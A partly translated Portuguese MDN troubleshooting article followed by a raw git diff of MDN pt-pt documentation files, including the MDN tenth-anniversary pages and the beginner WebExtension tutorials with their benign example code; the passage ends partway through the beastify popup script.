Este artigo descreve problemas comuns que podem ocorrer durante a utilização da MDN, e como os resolver.

- -

Não consegue guardar uma página

- -
-
Sintoma
-
You try to save some change that you have made, and you get an error message indicating that your change couldn't be saved.
-
Causa
-
Your change has been caught in MDN's spam trap.
-
Solução
-
Save a copy of your revision, and send an email to the MDN site administrators, as instructed in the error message. One of the admins will verify that it is, in fact, a legitimate change, then train the spam filter not to block edits like yours, and add you to a whitelist so that you don't encounter this problem in the future.
-
- -

As suas alterações não aparecem na página

- -
-
Sintoma
-
You make some changes to an article and click Publish; the changes that you just made are not reflected in the normal view of the page.
-
Causa
-
The page content is cached on the server, and has not been refreshed since the page was changed.
-
Solução
-
Force a refresh of the page in your browser (for example, Shift+Reload). You might see the updated content, or you might see a message indicating that an update to the page is being processed. In the second case, wait a few minutes and refresh the page again.
-
- -

Macro-generated content is out of date

- -
-
Sintoma
-
You see a page that contains content generated by a macro. You know that this macro has been updated and put into production, but the page is showing outdated values.
-
Causa
-
The macro output is cached, and has not been refreshed since the macro was updated.
-
Solução
-
Force a refresh of the page in your browser (for example, Shift+Reload). You might see the updated output, or you might see a message indicating that an update to the page is being processed. In the second case, wait a few minutes and refresh the page again.
-
- -

Erro de scripting numa página

- -
-
Sintoma
-
You see a scary red box like this on a page:
- There was a scripting error on this page. While it is being addressed by site editors, you can view partial content below. More information about this error
-
Causa
-
This is caused by a Kumascript error in a macro on the page. This issue is less common in production now that macros are stored on Github and go through a review and testing process before being put into production. You might see it if you modify a macro call or its arguments in a way that breaks the macros. You might also see it  if you are editing macros on a local build of the MDN platform.
-
Solução
-
If you modified a macro call, you can check the name and parameters of the macro against the Kumascript Github repo. If you are in the midst of modifying the macro in question, Troubleshooting Kumascript errors may be helpful.
-
- -

Scripting error while previewing a page

- -
-
Sintoma
-
You are editing a page, and click the Preview button. The preview of the page contains a scripting error message (as shown in the previous section).
-
Causa
-
Either there was an existing scripting error in the page you were editing, or you have introduced an error, possibly by changing arguments to a macro.
-
Solução
-
-

Be assured that as long as you have not modified or added any macros or templates in the page, you can safely ignore this error; you can expect it to go away when the edited page is finally saved and viewed normally again (unless the error was already there in the normal view).

- -

If you are still unsure whether you introduced the error, then you can open a copy of the normal page in a new window, enter Edit mode, and immediately click Preview. If any errors occur now, you can be confident that you did not cause them, and that they will likely disappear as previously described. As for your changes, if these new errors are the same as the old errors from the old window, then  close the new window and continue working in the old one.  However, if they are different errors, then you indeed might have damaged something in the old window, so just start carefully copying your changes to the new window, and click Preview after each copy.  If the old errors suddenly appear here too, then your last changes have likely caused them, and you should carefully examine that work.  Finally, as a side benefit, if you click Preview frequently and always leave that Preview window open, you will have a quick but unsaved copy of most of your changes in case the editor fails or somehow loses your work (as may happen when trying to use Discard.)

- -

 

-
-
 
-
diff --git a/files/pt-pt/mdn/yari/index.html b/files/pt-pt/mdn/yari/index.html new file mode 100644 index 0000000000..3ffc29d8b6 --- /dev/null +++ b/files/pt-pt/mdn/yari/index.html @@ -0,0 +1,24 @@ +--- +title: 'Kuma: Plataforma wiki da MDN' +slug: MDN/Kuma +tags: + - Kuma + - MDN Meta + - Metadados MDN +translation_of: MDN/Kuma +--- +
{{MDNSidebar}}{{IncludeSubnav("/pt-PT/docs/MDN")}}
+ +

Kuma é o código Django que é utilizado para os 'Documentos da Web na MDN'.

+ +

{{SubpagesWithSummaries}}

+ +

Participe na plataforma Kuma

+ +

Para participar na plataforma Kuma:

+ + diff --git a/files/pt-pt/mdn_at_ten/contribuir_para_mdn/index.html b/files/pt-pt/mdn_at_ten/contribuir_para_mdn/index.html deleted file mode 100644 index 9c9ca16511..0000000000 --- a/files/pt-pt/mdn_at_ten/contribuir_para_mdn/index.html +++ /dev/null @@ -1,94 +0,0 @@ ---- -title: Contribuir para a MDN -slug: MDN_at_ten/Contribuir_para_MDN -tags: - - Metadados MDN - - Mozilla - - contribuir -translation_of: MDN_at_ten/Contributing_to_MDN ---- -
-
-

O processo de contribuição

- -

Contributing to MDN is easy, and there are two ways you can get started. Do you see a page you can make better (by fixing a typo, or adding new information, or fixing technical errors)? Just click the big blue "Edit" button at the top of the page. Do you know something that we don’t cover yet? Just create a new page; our community of amazing reviewers and editors will ensure that your page matches our style guide and is in the right place on the site. No stress over getting it "just right." Everyone can help make the Web a better place.

-
- -
-
-
-

Junte-se a nós!

- -

Junte-se a nós, para ensinar o mundo a desenvolver a Web aberta!

- -

Junte-se hoje

-
-
-
-
- -
-
-

Uma amostragem de perfis de colaborador

- -

MDN is made up of a vast community of contributors. While we can't offer profiles of all of them (we'd be here for a very long time!), we can share something about a few of the ones who have made substantial or important contributions, as well as those who are most likely to be available on the MDN Web Docs chat room to help you out if you could use some assistance with your contributions.

- -
-
-

Chris Blizzard
- Antigo Diretor de Evangelismo, Mozilla

- -

Blizzard oversaw and drove Mozilla Developer Center's transition from focusing on Mozilla-specific material to a community-maintained resource useful to a variety of Web developers.

- -

Nickolay Ponomarev
- Voluntário

- -

Nickolay was one of the earliest contributors, helping with the initial DevEdge clean-up effort. He has continued contributing in many areas, both for Web standards and Mozilla products, ever since.

- -

Andrew Overholt
- Gestor de Engenheiros

- -

Andrew leads developers on the Web API team. As part of his job, he encourages all DOM and API developers to help make sure documentation is great by providing information the writing team needs, reviewing documentation, and assisting with sample code. This example makes the MDN team very, very happy.

- -

Jérémie Patonnier
- Gestor de Projeto

- -

Jérémie began contributing to MDN in 2011 by documenting SVG properties, because he needed this information for his own work. Jérémie has become a leader in the MDN French community, hosting regular "Mercredi Docs" (Wednesday Docs) sessions in the Mozilla Paris office. Currently, he is leading efforts to create the Learning area and to improve and regularize browser compatibility data across MDN.

- -

Julien (Sphinx)
- Voluntário

- -

Julien contributed the "lion's share" of effort to translate the entire JavaScript section of MDN into French. Many other contributors also helped in this effort, but Julien spent many nights and weekends over several months, translating JavaScript articles.

- -

Jeff Walden
- Engenheiro de Software, JavaScript Engine

- -

Jeff Walden is now on the SpiderMonkey team, who has contributed to MDN since its beginning, and across many topic areas, including XPCOM, Mozilla build and test, JavaScript, CSS, and more.

-
- -
-

Priyanka Nag
- Voluntária

- -

Priyanka Nag joined MDN in 2012, but she became active with the MDN community only after the Mozilla Summit in 2013, where she met and worked with Luke Crouch and David Walsh from the MDN development team; this acted as her main inspiration to start contributing to MDN. Priyanka mainly enjoys evangelizing MDN, hosting MDN events and introducing more people to MDN, along with making some edits on the wiki at times. She is currently working as a Technical writer at Red Hat and she proudly claims that her interest in technical writing started through her MDN contributions, which ended up influencing her career decision in a great way.

- -

Saurabh Nair
- Voluntário

- -

Saurabh has been contributing to MDN since 2011, and became more active in the last year. He is on the “spam watch” team, who look out for spam pages, deleting them and banning the spammers as soon as they appear. Since he lives in India, he can do this while MDN staff members in Europe and North America are sleeping.

- -

Eric Shepherd (Sheppy)
- Escritor Técnico Sénior

- -

{{UserLink("Sheppy")}} was the first full-time writer hired by Mozilla to work exclusively on developer documentation, starting way back on April 3, 2006. He writes about anything that needs coverage, including stuff nobody else wants anything to do with. Over the years, he's written extensively about everything from Add-ons to XUL.

- -

Sebastian Zartner
- Voluntário

- -

Sebastian's first contributions to MDN were in 2007, to German translations, but he soon started working on English ones. He has contributed a lot to both the content and structure of the CSS reference, including creating a JSON API for CSS pages, and macros using this API.

-
-
-
- -
{{TenthCampaignQuote(7)}} {{TenthCampaignQuote(5)}}
-
diff --git a/files/pt-pt/mdn_at_ten/historia_da_mdn/index.html b/files/pt-pt/mdn_at_ten/historia_da_mdn/index.html deleted file mode 100644 index ceaed18d08..0000000000 --- a/files/pt-pt/mdn_at_ten/historia_da_mdn/index.html +++ /dev/null @@ -1,225 +0,0 @@ ---- -title: A História da MDN -slug: MDN_at_ten/Historia_da_MDN -tags: - - História - - Metadados MDN -translation_of: MDN_at_ten/History_of_MDN ---- -
-

In this talk, several contributors of the MDN project look at the past ten years of developer.mozilla.org, and at the decade to come. You will hear the story of different wiki software migrations, how a documentation community was built, and many more highlights of the history of the site. The group then also talks about current challenges and projects the MDN community is working on this year.

- -
- - -

{{ EmbedLiveSample('audio', '100%', '60px') }}

- -

Below, learn more about the people who are sharing their memories and thoughts, and get a deeper look at specific details they mention.

-
-
- -
-
Justin Crawford - -

Justin Crawford Product Manager, MDN

- -

Justin moderates this talk and makes things with code, words, bike parts, and lumber. He is @hoosteeno on Twitter.

-
- -
-

O que é MDN, e para quem é? Um lugar para a comunidade Open Web  Um lugar para a comunidade da 'Web Aberta'

- -

MDN provides useful information for Web technologies, and encourages learning, sharing, and teaching in the open Web community. On MDN, you come together and make things for yourself and for others.

-A place for Mozilla developers - -

MDN is also a place for Mozilla engineers, such as Gecko or Firefox hackers, add-on developers, and Firefox OS contributors.

-
- -
Eric Shepherd - -

Eric "Sheppy" Shepherd Technical Writer, MDN

- -

Sheppy has been here documenting for Mozilla since 2006, and has a lot of history (and crazy ideas) when it comes to MDC and MDN over the years. He is @sheppy on Twitter.

-
- -
-

The history of MDN Pre-wiki era – Netscape DevEdge

- -

In the early days there was DevEdge, the developer documentation from Netscape which formed the basis of some of MDN's documentation. Have a look at the past on archive.org:

- -

Netscape DevEdge

- -

On October 12, 2004, this popular developer website was shut down by AOL, Netscape's parent company. Only a few months later, in February 2005, Mitchell Baker was able to rescue DevEdge and reached an agreement with AOL that allowed Mozilla to post, modify, and create new documents based on the former Netscape DevEdge materials. In other words, what happened to the Mozilla source in 1998 finally happened for Netscape's developer documentation as well: It became open source.

- -

Deb Richardson joined the Mozilla Foundation as a Technical Editor and lead the new DevMo project for community driven developer documentation.

-
- -
-

MediaWiki The first wiki engine

- -

With MediaWiki as the new underlying project platform, the Mozilla developer documentation has been made editable for anyone starting in July 2005. A new collaborative element in Mozilla was established and since then anyone is welcome to help making it better and to share knowledge. A new international community began to grow and to translate developer contents into other languages.

- -

MDC MediaWiki

-
- -
Florian Scholz - -

Florian Scholz Technical Writer, MDN

- -

Florian is a Technical Writer at Mozilla focused on open web technologies. He is a wiki gnome, gardening the documentation as if it were flowers, and he likes to work with the community toward the goal of documenting the Web and making it accessible to everyone. Florian is passionate about open source, he is based in Bremen, Germany, and tweets as @floscholz on Twitter.

-
- -
-

DekiWiki The second wiki engine

- -

In August 2008, the Mozilla Developer Center switched to MindTouch DekiWiki, a powerful and new content management system and wiki system for technical documentation. This platform change was quite controversial in the community that was used to MediaWiki from 2005 on and built tools around it.

- -

MDC DekiWiki

-
- -
Ali Spivak - -

Ali Spivak Herder of awesome MDN cats

- -

Ali Spivak manages content & community on the Mozilla Developer Network and spends her time thinking of ways to help make the Web even more awesome. She is passionate about maintaining a free and open Web, and, after jumping into open source when she joined Mozilla in 2012, has focused on building and participating in the developer communities at Mozilla. She is @alispivak on Twitter.

-
- -
-

Kuma The third and current wiki engine

- -

Kuma, forked from Kitsune in early 2011 and launched on August 3, 2012, is a Mozilla-built wiki platform based on Django with its own KumaScript macro system which uses Node.js.

- -

With the code living on GitHub, the community started to contribute to MDN's CMS as well. From now on, hacking on MDN includes both writing documentation and Kuma coding.

- -

MDN KUMA

-
- -
David Walsh - -

David Walsh Web developer, MDN

- -

Mozilla Sr. Web Developer, Front-End Engineer, MooTools Core Developer, Javascript Fanatic, CSS Tinkerer, PHP Hacker, web and open source lover. David is @davidwalshblog on Twitter.

-
- -
-

Redesigning MDN Kuma with the refreshed design

- -

The redesign of MDN was a big project. Sean Martell designed the new MDN visual identity. It was then an iterative process with a beta user group of 3000 MDNers during several months. The new look was behind a "Waffle flag" (MDN's feature flag system). Major shout-outs also to David Walsh who was really championing the entire redesign and gave MDN the front-end that it deserves.

-Waffle flag
- -
Janet Swisher - -

Janet Swisher Community Manager, MDN

- -

Janet is a Mozilla Community Manager for Mozilla Developer Network. She joined Mozilla in 2010, and has been involved in open source software since 2004 and in technical communication since the 20th century. She is @jmswisher on Twitter.

-
- -
-

Community around Open Web docs Community-driven, browser-agnostic Open Web documentation

- -

At some point in 2010, especially when community members and Technical Writers met in Paris, it became more obvious that MDN's focus is clearly shifting from "Let's document all things Firefox!" to "Let's document the Web!". Documentation has been cleaned up and restructured over the last few years, so that MDN's open Web documentation is browser-agnostic. This material, useful for anyone developing for the Web, is our most popular and most widely used content.

- -

Different browser vendors have joined every once in a while to help shape this part of MDN. This cross-browser collaboration has been very successful and is appreciated by MDN's readers.

-
- -
Luke Crouch - -

Luke Crouch Web developer, MDN

- -

Luke Crouch is a home-brewer, soccer fan and web developer for Mozilla. He's been developing on the web since 1996, using Firefox since 2004, writing open source software since 2006, and joined Mozilla as the first staff MDN web dev in 2010. Luke is @groovecoder on Twitter.

-
- -
-

Localization communities MDN serves a global audience in many languages

- -

Localization is a big part of the Mozilla community; it is a component of almost every project and product. Using Kuma, MDN is also very localizable and suited for the needs of our l10n community. The W3C specifications and other resources describing the Web's functionality have no direct goals, and have communities that provide specs in multiple languages. Especially for beginners, MDN is the first step to explore web technologies, so it's our aim to be there for everyone. MDN has a broad audience and aims to include not only native English speakers. It is appreciated all around the globe.

-
- -
Julien - -

Julien (a.k.a. Sphinx) French localization, MDN

- -

Julien spent many nights and weekends over several month, translating JavaScript articles into French. He is not a developer, but has a background in IT and wants to learn more about new technologies. He contributes to MDN instead of watching TV.

-
- -
Jean-Yves Perrier - -

Jean-Yves Perrier Technical Writer, MDN

- -

Jean-Yves has been a Technical Writer on MDN since 2010 and joined Mozilla full-time at the end of 2011. He is passionate about the open Web, with 15 years of C++ experience. He is Swiss but lives in London, UK. His Erdös number is 5 and he is @Teoli2003 on Twitter.

-
- -
-

Learning Area

- -

The MDN Learning Area is a new effort to teach basic web skills. Over the last 10 years, MDN added a lot of advanced material, serving experts with valuable information. This project is focused on materials for beginners, and tries to fill in a lot of knowledge gaps.

-
- -
Jérémie Patonnier - -

Jérémie Patonnier Technical Writer, MDN

- -

Jérémie is a long time contributor to the Mozilla Developer Network, and a professional web developer since 2000. He's advocating web standards and write documentation about web technologies with the will to make them accessible to everybody. He is @JeremiePat on Twitter.

-
- -
-

The future of MDN What will be different when we celebrate 20 years of MDN?

- -

Everyone involved with MDN really cares about the web being open and accessible, and that's why we have the localization teams and all of the people contributing. MDN hopes to continue to be a key player in keeping the Web the way we feel it should be.

- -

One big part of this future is going to be learning resources. There will be a lot more Web developers over the next ten years.

- -

Another big part of our job is maintaining and updating the information we already have, so we can always serve relevant content to Web developers.

- -

What is changing and will likely change more in the future, is how information is consumed. Today people searching for information and looking up documentation. In the future, MDN documentation might be delivered directly in code editors, Firefox Developer Tools, and many other developer tools and services.

-
- -
-

Awesome contributors Many more people have done amazing work on MDN

- -
-
    -
  • Les Orchard
  • -
  • John Karahalis
  • -
  • David Walsh
  • -
  • Jannis Leidel
  • -
  • Stephanie Hobson
  • -
  • James Bennett
  • -
  • Isac Lagerblad
  • -
  • Piotrek Koszuliński
  • -
  • Craig Cook
  • -
  • Rob Hudson
  • -
  • John Whitlock
  • -
  • ...
    - And many more Kuma contributors.
  • -
- - -
    -
  • Chris Mills
  • -
  • Will Bamberg
  • -
  • David Bruant
  • -
  • Thierry Régagnon
  • -
  • etherthank
  • -
  • Saurabh Nair
  • -
  • Deb Richardson
  • -
  • Sebastian Zartner
  • -
  • Tooru Fujisawa
  • -
  • Karen Scarfone
  • -
  • Niklas Barning
  • -
  • ...
    - And hundreds more wiki collaborators.
  • -
-
-The Berlin Office
-
diff --git a/files/pt-pt/mdn_at_ten/index.html b/files/pt-pt/mdn_at_ten/index.html deleted file mode 100644 index fcd5f5875f..0000000000 --- a/files/pt-pt/mdn_at_ten/index.html +++ /dev/null @@ -1,39 +0,0 @@ ---- -title: 10.º Aniversário da MDN -slug: MDN_at_ten -tags: - - MDN -translation_of: MDN_at_ten ---- -
Celebrar 10 anos de documentação da sua Web.
- -
-
-

A história da MDN

- -

No início de 2005, uma pequena equipa de idealistas juntaram-se para criar uma comunidade nova e livre, de recursos on-line para todos os programadores da Web. Com a ideia brilhante mas estranha, cresceu até hoje para se tornar no que é hoje, a Rede de Desenvolvimento da Mozilla - o primeiro recurso para todas as tecnologias abertas da Web. Dez anos mais tarde, a nossa comunidade global é maior do que nunca, e juntos iremos continuar a criar documentação, exemplos de código e recursos de aprendizagem para todas as tecnologias abertas da Web, incluindo CSS, HTML, JavaScript e tudo o mais que torna a Web aberta tão poderosa como é.

- -

Saber maisabout the history

- - -

Contribuir para a MDN

- -

Durante dez anos, a nossa comunidade MDN tem vindo a documentar a Web aberta. Desde corrigir pequenos erros até escrever conjuntos completos de uma API completamente nova, toda a gente tem qualquer coisa para oferecer, e nenhuma contribuição é menos ou mais importante do que qualquer outra. Nós temos mais de 90 000 páginas de conteúdo que têm vindo a ser escritas ou traduzidas por membros da nossa comunidade fantástica de Mozillians. Pode tornar-se num deles.

- -

Saber maisabout contributing

- -

 

- -

 

-
- -
{{TenthCampaignQuote}}
- - - -
    -
  1. 10.º Aniversário da MDN
  2. -
  3. A história da MDN
  4. -
  5. Contribuir para a MDN
  6. -
-
diff --git a/files/pt-pt/melhorias_do_gerenciador_de_downloads_no_firefox_3/index.html b/files/pt-pt/melhorias_do_gerenciador_de_downloads_no_firefox_3/index.html deleted file mode 100644 index 7b8fdf1bab..0000000000 --- a/files/pt-pt/melhorias_do_gerenciador_de_downloads_no_firefox_3/index.html +++ /dev/null @@ -1,21 +0,0 @@ ---- -title: Melhorias do Gerenciador de Downloads no Firefox 3 -slug: Melhorias_do_Gerenciador_de_Downloads_no_Firefox_3 -tags: - - Firefox 3 - - Gerenciador_de_Downloads ---- -

{{ Fx_minversion_header(3) }} O Firefox 3 oferece melhoramentos ao Gerenciador de Downloads que permitem múltiplas listas de progresso, o uso da API Storage para gerenciamento de dados, resumo do download e mais. Em adição, você pode aumentar ou substituir a interface do Gerenciador de Downloads implementando a nova interface {{ Interface("nsIDownloadManagerUI") }}.

-

{{ Note("Estas mudanças irão exigir algumas modestas revisões para usar o código do Gerenciador de Downloads; vários outros métodos tiveram mudanças menores.") }}

-

Interfaces do Gerenciador de Downloads

-
{{ Interface("nsIDownloadManager") }}
Dá acesso a aplicações e extensões do Gerenciador de Downloads, o que lhes permite adicionar e remover arquivos da lista de download, recuperar informações sobre downloads passados e atuais, e solicitar notificações quanto ao progresso dos downloads.
{{ Interface("nsIDownload") }}
Descreve um arquivo na fila de download; estes arquivos podem correntemente estar listados para donwload, ativamente sendo baixados ou finalizados.
{{ Interface("nsIDownloadProgressListener") }}
Aplicações e extensões implementam esta interface das mudanças no estado dos downloads.
{{ Interface("nsIDownloadManagerUI") }}
Implementa esta interface a substituir ou aumentar a interface de usuário do Gerenciador de Downloads.
-
-

Outra documentação do Gerenciador de Downloads

-
Download Manager preferences
Este artigo lista as preferências usadas pelo Gerenciador de Downloads, bem como os seus valores padrão.
The Download Manager schema
Este artigo descreve o formato de banco de dados usado para armazenar e rastrear as informações sobre cada download.
-
-

Exemplos

-
Monitoring downloads
Um exemplo mostrando como usar as novas APIs do Gerenciador de Downloads para criar uma janela de log do download que mostra todos os downloads passados e atuais e seus estados, incluindo a hora em que foram iniciados e finalizados, a velocidade do download e mais. Também demonstra a API Storage.
-
-

Categorias

-

Interwiki Language Links

-

{{ languages( { "en": "en/Download_Manager_improvements_in_Firefox_3", "ja": "ja/Download_Manager_improvements_in_Firefox_3" } ) }}

diff --git a/files/pt-pt/mozilla/add-ons/webextensions/a_sua_primeira_extensao/index.html b/files/pt-pt/mozilla/add-ons/webextensions/a_sua_primeira_extensao/index.html deleted file mode 100644 index 21b34f2e2c..0000000000 --- a/files/pt-pt/mozilla/add-ons/webextensions/a_sua_primeira_extensao/index.html +++ /dev/null @@ -1,153 +0,0 @@ ---- -title: A sua primeira extensão -slug: Mozilla/Add-ons/WebExtensions/A_sua_primeira_extensao -tags: - - Extensões da Web - - Guía -translation_of: Mozilla/Add-ons/WebExtensions/Your_first_WebExtension ---- -
{{AddonSidebar}}
- -

Neste artigo, nós iremos abordar a criação de uma extensão para o Firefox, do início até ao fim. A extensão adiciona apenas um contorno vermelho a qualquer página carregada de 'mozilla.org' ou qualquer um dos seus subdomínios.

- -

O código fonte para este exemplo está no GitHub: borderify.

- -

Primeiro, precisa de ter o Firefox - versão 45 ou superior.

- -

Escrever a extensão

- -

Crie uma nova diretoria e vá para a mesma:

- -
mkdir borderify
-cd borderify
- -

manifest.json

- -

Now create a new file called "manifest.json" directly under the "borderify" directory. Give it the following contents:

- -
{
-
-  "manifest_version": 2,
-  "name": "Borderify",
-  "version": "1.0",
-
-  "description": "Adds a red border to all webpages matching mozilla.org.",
-
-  "icons": {
-    "48": "icons/border-48.png"
-  },
-
-  "content_scripts": [
-    {
-      "matches": ["*://*.mozilla.org/*"],
-      "js": ["borderify.js"]
-    }
-  ]
-
-}
- - - -

The most interesting key here is content_scripts, which tells Firefox to load a script into Web pages whose URL matches a specific pattern. In this case, we're asking Firefox to load a script called "borderify.js" into all HTTP or HTTPS pages served from "mozilla.org" or any of its subdomains.

- - - -
-

In some situations you need to specify an ID for your extension. If you do need to specify an add-on ID, include the  applications key in manifest.json and set its gecko.id property:

- -
"applications": {
-  "gecko": {
-    "id": "borderify@example.com"
-  }
-}
-
- -

icons/border-48.png

- -

The extension should have an icon. This will be shown next to the extension's listing in the Add-ons Manager. Our manifest.json promised that we would have an icon at "icons/border-48.png".

- -

Create the "icons" directory directly under the "borderify" directory. Save an icon there named "border-48.png".  You could use the one from our example, which is taken from the Google Material Design iconset, and is used under the terms of the Creative Commons Attribution-ShareAlike license.

- -

If you choose to supply your own icon, It should be 48x48 pixels. You could also supply a 96x96 pixel icon, for high-resolution displays, and if you do this it will be specified as the 96 property of the icons object in manifest.json:

- -
"icons": {
-  "48": "icons/border-48.png",
-  "96": "icons/border-96.png"
-}
- -

Alternatively, you could supply an SVG file here, and it will be scaled correctly. (Though: if you're using SVG and your icon includes text, you may want to use your SVG editor's "convert to path" tool to flatten the text, so that it scales with a consistent size/position.)

- - - -

borderify.js

- -

Finally, create a file called "borderify.js" directly under the "borderify" directory. Give it this content:

- -
document.body.style.border = "5px solid red";
- -

This script will be loaded into the pages that match the pattern given in the content_scripts manifest.json key. The script has direct access to the document, just like scripts loaded by the page itself.

- - - -

Testá-la

- -

Primeiro, reverifique que tem os ficheiros corretos nos locais certos:

- -
borderify/
-    icons/
-        border-48.png
-    borderify.js
-    manifest.json
- -

Instalar

- -

Open "about:debugging" in Firefox, click "Load Temporary Add-on" and select any file in your extension's directory:

- -

{{EmbedYouTube("cer9EUKegG4")}}

- -

The extension will now be installed, and will stay until you restart Firefox.

- -

Alternatively, you can run the extension from the command line using the web-ext tool.

- -

Testar

- -

Now try visiting a page under "mozilla.org", and you should see the red border round the page:

- -

{{EmbedYouTube("rxBQl2Z9IBQ")}}

- -
-

Don't try it on addons.mozilla.org, though! Content scripts are currently blocked on that domain.

-
- -

Try experimenting a bit. Edit the content script to change the color of the border, or do something else to the page content. Save the content script, then reload the extensions's files by clicking the "Reload" button in about:debugging. You can see the changes right away:

- -

{{EmbedYouTube("NuajE60jfGY")}}

- - - -

Empacotar e publicação

- -

Para que as outras pessoas utilizem a sua extensão, precisa de empacotá-la e enviá-la para a assinar na Mozilla. Para saber mais sobre isto, consulte "Publicar a sua extensão".

- -

E a seguir?

- -

Agora tem uma idéia do processo de desenvolvimento de uma Extensão da Web para o Firefox, tente:

- - diff --git a/files/pt-pt/mozilla/add-ons/webextensions/a_sua_segunda_extensao/index.html b/files/pt-pt/mozilla/add-ons/webextensions/a_sua_segunda_extensao/index.html deleted file mode 100644 index 503f2b4ae9..0000000000 --- a/files/pt-pt/mozilla/add-ons/webextensions/a_sua_segunda_extensao/index.html +++ /dev/null @@ -1,460 +0,0 @@ ---- -title: A sua segunda extensão -slug: Mozilla/Add-ons/WebExtensions/A_sua_segunda_extensao -tags: - - Extensões da Web -translation_of: Mozilla/Add-ons/WebExtensions/Your_second_WebExtension ---- -
{{AddonSidebar}} -

Se já leu o artigo da A sua primeira extensão, já tem uma ideia de como escrever uma extensão. Neste artigo, nós iremos escrever uma extensão um pouco mais complexa que demonstra algumas mais das APIs. 
-
- A extensão adiciona um novo botão à barra de ferramentas do Firefox. Quando o utilizador clica no botão, nós exibimos uma janela que lhes permite escolher um animal. Uma vez que eles escolhem um animal, nós iremos substituir o conteúdo da página atual com uma fotografia do animal escolhido. 
-
- Para implementar isto, nós iremos:.

- -

To implement this, we will:

- - - -

You could visualise the overall structure of the extension like this:

- -

- -

It's a simple extension, but shows many of the basic concepts of the WebExtensions API:

- - - -

You can find complete source code for the extension on GitHub.

- -

To write this extension, you'll need Firefox 45 or newer.

- -

Escrever a extensão

- -

Create a new directory and navigate to it:

- -
mkdir beastify
-cd beastify
- -

manifest.json

- -

Now create a new file called "manifest.json", and give it the following contents:

- -
{
-
-  "manifest_version": 2,
-  "name": "Beastify",
-  "version": "1.0",
-
-  "description": "Adds a browser action icon to the toolbar. Click the button to choose a beast. The active tab's body content is then replaced with a picture of the chosen beast. See https://developer.mozilla.org/en-US/Add-ons/WebExtensions/Examples#beastify",
-  "homepage_url": "https://github.com/mdn/webextensions-examples/tree/master/beastify",
-  "icons": {
-    "48": "icons/beasts-48.png"
-  },
-
-  "permissions": [
-    "activeTab"
-  ],
-
-  "browser_action": {
-    "default_icon": "icons/beasts-32.png",
-    "default_title": "Beastify",
-    "default_popup": "popup/choose_beast.html"
-  },
-
-  "web_accessible_resources": [
-    "beasts/frog.jpg",
-    "beasts/turtle.jpg",
-    "beasts/snake.jpg"
-  ]
-
-}
-
- - - -

Note that all paths given are relative to manifest.json itself.

- -

O ícone

- -

The extension should have an icon. This will be shown next to the extension's listing in the Add-ons Manager (you can open this by visiting the URL "about:addons"). Our manifest.json promised that we would have an icon for the toolbar at "icons/beasts-48.png".

- -

Create the "icons" directory and save an icon there named "beasts-48.png".  You could use the one from our example, which is taken from the Aha-Soft’s Free Retina iconset, and used under the terms of its license.

- -

If you choose to supply your own icon, It should be 48x48 pixels. You could also supply a 96x96 pixel icon, for high-resolution displays, and if you do this it will be specified as the 96 property of the icons object in manifest.json:

- -
"icons": {
-  "48": "icons/beasts-48.png",
-  "96": "icons/beasts-96.png"
-}
- -

O botão de barra de ferramentas

- -

The toolbar button also needs an icon, and our manifest.json promised that we would have an icon for the toolbar at "icons/beasts-32.png".

- -

Save an icon named "beasts-32.png" in the "icons" directory. You could use the one from our example, which is taken from the IconBeast Lite icon set and used under the terms of its license.

- -

If you don't supply a popup, then a click event is dispatched to your extension when the user clicks the button. If you do supply a popup, the click event is not dispatched, but instead, the popup is opened. We want a popup, so let's create that next.

- -

A janela (popup)

- -

The function of the popup is to enable the user to choose one of three beasts.

- -

Create a new directory called "popup" under the extension root. This is where we'll keep the code for the popup. The popup will consist of three files:

- - - -
mkdir popup
-cd popup
-touch choose_beast.html choose_beast.css choose_beast.js
-
- -

choose_beast.html

- -

The HTML file looks like this:

- -
<!DOCTYPE html>
-
-<html>
-  <head>
-    <meta charset="utf-8">
-    <link rel="stylesheet" href="choose_beast.css"/>
-  </head>
-
-<body>
-  <div id="popup-content">
-    <div class="button beast">Frog</div>
-    <div class="button beast">Turtle</div>
-    <div class="button beast">Snake</div>
-    <div class="button reset">Reset</div>
-  </div>
-  <div id="error-content" class="hidden">
-    <p>Can't beastify this web page.</p><p>Try a different page.</p>
-  </div>
-  <script src="choose_beast.js"></script>
-</body>
-
-</html>
-
- -

We have a <div> element with an ID of "popup-content" that contains an element for each animal choice. We have another <div> with an ID of "error-content" and a class "hidden". We'll use that in case there's a problem initializing the popup.

- -

Note that we include the CSS and JS files from this file, just like a web page.

- -

choose_beast.css

- -

The CSS fixes the size of the popup, ensures that the three choices fill the space, and gives them some basic styling. It also hides elements with class="hidden": this means that our "error-content" <div> will be hidden by default.

- -
html, body {
-  width: 100px;
-}
-
-.hidden {
-  display: none;
-}
-
-.button {
-  margin: 3% auto;
-  padding: 4px;
-  text-align: center;
-  font-size: 1.5em;
-  cursor: pointer;
-}
-
-.beast:hover {
-  background-color: #CFF2F2;
-}
-
-.beast {
-  background-color: #E5F2F2;
-}
-
-.reset {
-  background-color: #FBFBC9;
-}
-
-.reset:hover {
-  background-color: #EAEA9D;
-}
-
-
- -

choose_beast.js

- -

Here's the JavaScript for the popup:

- -
/**
- * CSS to hide everything on the page,
- * except for elements that have the "beastify-image" class.
- */
-const hidePage = `body > :not(.beastify-image) {
-                    display: none;
-                  }`;
-
-/**
- * Listen for clicks on the buttons, and send the appropriate message to
- * the content script in the page.
- */
-function listenForClicks() {
-  document.addEventListener("click", (e) => {
-
-    /**
-     * Given the name of a beast, get the URL to the corresponding image.
-     */
-    function beastNameToURL(beastName) {
-      switch (beastName) {
-        case "Frog":
-          return browser.extension.getURL("beasts/frog.jpg");
-        case "Snake":
-          return browser.extension.getURL("beasts/snake.jpg");
-        case "Turtle":
-          return browser.extension.getURL("beasts/turtle.jpg");
-      }
-    }
-
-    /**
-     * Insert the page-hiding CSS into the active tab,
-     * then get the beast URL and
-     * send a "beastify" message to the content script in the active tab.
-     */
-    function beastify(tabs) {
-      browser.tabs.insertCSS({code: hidePage}).then(() => {
-        let url = beastNameToURL(e.target.textContent);
-        browser.tabs.sendMessage(tabs[0].id, {
-          command: "beastify",
-          beastURL: url
-        });
-      });
-    }
-
-    /**
-     * Remove the page-hiding CSS from the active tab,
-     * send a "reset" message to the content script in the active tab.
-     */
-    function reset(tabs) {
-      browser.tabs.removeCSS({code: hidePage}).then(() => {
-        browser.tabs.sendMessage(tabs[0].id, {
-          command: "reset",
-        });
-      });
-    }
-
-    /**
-     * Just log the error to the console.
-     */
-    function reportError(error) {
-      console.error(`Could not beastify: ${error}`);
-    }
-
-    /**
-     * Get the active tab,
-     * then call "beastify()" or "reset()" as appropriate.
-     */
-    if (e.target.classList.contains("beast")) {
